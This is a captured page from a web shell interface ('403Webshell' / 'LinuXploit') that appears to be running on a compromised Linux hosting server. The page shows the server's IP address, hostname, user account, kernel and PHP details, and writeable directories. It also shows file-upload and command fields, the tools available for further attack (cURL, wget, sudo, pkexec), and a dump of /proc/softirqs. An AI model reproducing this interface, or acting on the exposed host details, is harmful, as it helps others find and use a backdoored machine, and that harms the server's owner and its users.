403Webshell
Server IP : 162.214.67.83  /  Your IP : 216.73.217.31
Web Server : Apache
System : Linux dedi-13542965.clustter.com.br 5.14.0-687.20.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jun 30 06:22:49 EDT 2026 x86_64
User : jforte ( 1063)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          0          0          1          0          0          0          0          0          1          0
       TIMER:    1652837    1615176   10560415    2045071    1724980    1297945    1737069    1587711    1735732    1546803    1773589    1588173    1721214    1706464    1875645    1917930
      NET_TX:          2          0          0          0          0          0          0          0          0          0          0          1          0          0          0          1
      NET_RX:    4817501    4903781    2856829    5112743    3610475   62952131    6046964    7044690    5134886    4467776    5561750    6087653    5568246    7320943    3798200    3261601
       BLOCK:       4632       3009       4358       2620       3146       2398       3455       2613       2953       2718       3220       2695       2852       2348       4025   11762144
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:     634089     661613     182090     809680     264628      18346     874942    1198192     733281     629502     738475     997203     879146    1056278     377907     305142
       SCHED:    6537116    4703580    3656663    2758153    2794718    4349451    2760856    2478195    2673368    2346823    2671191    2337218    2581247    2320943    2577546    2317410
     HRTIMER:        297        380        278        296        361        369        333        268        280        252        362        280        280        444        290        492
         RCU:   34965458   34301412   32970770   34129776   34957535   46800663   34966911   34036897   35172072   34266476   35230791   34145514   35112250   33982060   34780337   33034422

Youez - 2016 - github.com/yon3zu
LinuXploit